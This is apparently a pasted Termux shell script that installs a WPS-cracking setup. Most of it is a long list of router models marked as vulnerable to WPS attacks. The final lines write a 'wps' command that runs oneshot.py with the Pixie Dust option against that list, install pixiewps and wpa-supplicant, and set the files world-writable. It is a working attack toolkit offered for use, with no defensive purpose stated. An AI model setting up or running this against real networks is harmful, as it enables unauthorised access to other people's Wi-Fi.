- N/A EV-2010-09-20
- Archer C6 3.20
- RT-G32 1234
- WPS Router RT-N56U
- TL-WR840N 5.0
- TL-WR842N 5.0
- WN-200R WN-200R
- Belkin AP EV-2012-09-01
- TEW-731BR TEW-731BR
- VMG3312-T20A RT2860
- Wireless Access Point .
- RTL8xxx EV-2010-09-20
- Timo RA300R4 Timo RA300R4
- Archer C50 5.0
- WPS Router DSL-AC55U
- Archer C20 1.0
- B-LINK 123456
- WPS Router RT-AC65P
- TL-WR841N 13.0
- Ralink Wireless Access Point WR-AC1210
- Archer MR400 4.2
- Enhanced Wireless Router F6D4230-4 v1
- WAP3205 WAP3205
- Home Internet Center Keenetic series
- Linksys Wireless Router WRT110
- WPS Router DSL-AC52U
- Wi-Fi Protected Setup Router RT-N10U
- Archer VR400 3.0
- WPS Router DSL-AC51
- RTL8xxx RTK_ECOS
- WPS Router RT-AC57U
- WPS Router DSL-N17U
- AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP
- RTL8xxx EV-2009-02-06
- TL-WA855RE 4.0
- Home Internet Center KEENETIC series
- WPS Router RT-N14U
- Archer C50 1.0
- WPS Router RT-AC1200
- Archer VR2100 1.0
- DIR-842 DIR-842
- WPS Router RT-N56UB1
- D-Link N Router GO-RT-N150
- Trendnet router TEW-625br
- TL-WR1042N EV-2010-09-20
- Trendnet router TEW-651br
- TD-W8951ND RT2860
- TL-WR841N 14.0
- WPS Router RT-N12+
- EC120-F5 1.0
- Archer C5 4.0
- Archer A5 4.0
- WPS Router RT-AC1200_V2
- NETGEAR Wireless Access Point R6220
- Smart Router R3 RT2860
- D-Link Router DIR-605L
- WPS Router RT-AC750L
- ZyXEL NBG-416N AP Router
- ZyXEL NBG-418N AP Router
- Wi-Fi Protected Setup Router RT-N12D1
- WAP300N WAP300N
- WPS Router RT-N65U
- Sitecom Wireless Router 300N X2 300N
- ADSL Router EV-2006-07-27
- TL-MR6400 4.0
- DIR-819 v1.0.1
- WPS Router RT-AC51U
- AIR3G WSC Wireless Access Point AIR3G WSC Device
- DIR-635 B3
- TD-W8968 2.0
- D-Link Router DIR-655
- WR5570 2011-05-13
- WPS Router RT-AC1750U
- WPS Router RT-AC51
- Wi-Fi Protected Setup Router RT-AX55
- Archer C20 5.0
- WPS Router RT-AC53
- Wireless WPS Router RT-N12E
- Wireless WPS Router RT-N12LX
- WPS Router RT-N12E
- Wireless WPS Router <#ZVMODELVZ#>
- WPS Router RT-AC1750
- Wi-Fi Protected Setup Router RT-N12
- TD-W9960 1.0
- Huawei Wireless Access Point RT2860
- TL-MR100 1.0
- TL-WR850N 2.0
- VMG8623-T50A RT2860
- EC220-G5 2.0
- WPS Router RT-AC85P
- ArcherC20i 1.0
- Archer A2 5.0
- WPS Router RT-AC52U_B1
- Edimax Edimax
- WPS Router RT-N12E_B1
- Archer MR200 5.0
- WPS Router (5G) RT-N65U
- DWR-921C3 WBR-0001
- WPS Router RT-N300
- Archer C50 3.0
- WPS Router DSL-N14U-B1
- ZyXEL Wireless AP Router NBG-417N
- TD-W9960 1.20
- ZyXEL NBG-416N AP Router NBG-416N
- ZyXEL NBG-418N AP Router NBG-418N
- D-Link Router DIR-809
- DAP-1360 DAP-1360
- Ralink Wireless Access Point RT2860
- Wi-Fi Protected Setup Router RT-AC1200G+
- Tenda 123456
- WPS Router RT-N12 VP
- TL-MR3420 5.0
- Archer C2 1.0
- NBG-419N NBG-419N
- TD-W8151N RT2860
- TD-W8901N RT2860
- RTL8671 EV-2006-07-27
- Archer C20 4.0
- ADSL RT2860
- NETGEAR Wireless Access Point NETGEAR
- Wireless WPS Router RT-N10E
- Archer C6U 1.0.0
- Archer MR200 1.0
- Keenetic Keenetic series
- TL-WR840N 4.0
- TL-WR845N 4.0
- TL-WR841HP 5.0
- Linksys Wireless Access Point EA7500
- Archer VR300 1.20
- Archer C2 3.0
- Wireless Router Wireless Router
- WPS Router RT-AC750
- D-Link Router DIR-615H1
- Netgear AP EV-2012-08-04
- TL-WR840N 6.0
- EOF
- cat << EOF > $PREFIX/bin/wps
- sudo python $PREFIX/bin/oneshot.py -i wlan0 --iface-down --vuln-list $PREFIX/bin/vulnwsc.txt -K
- EOF
- chmod 777 $PREFIX/bin/pins.csv $PREFIX/bin/oneshot.py $PREFIX/bin/vulnwsc.txt $PREFIX/bin/wps
- pkg update
- pkg upgrade -y
- pkg install -y root-repo
- pkg install -y python tsu iw pixiewps wpa-supplicant
- echo -e "\033[32mWPS Installed run it with command wps\033[0m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement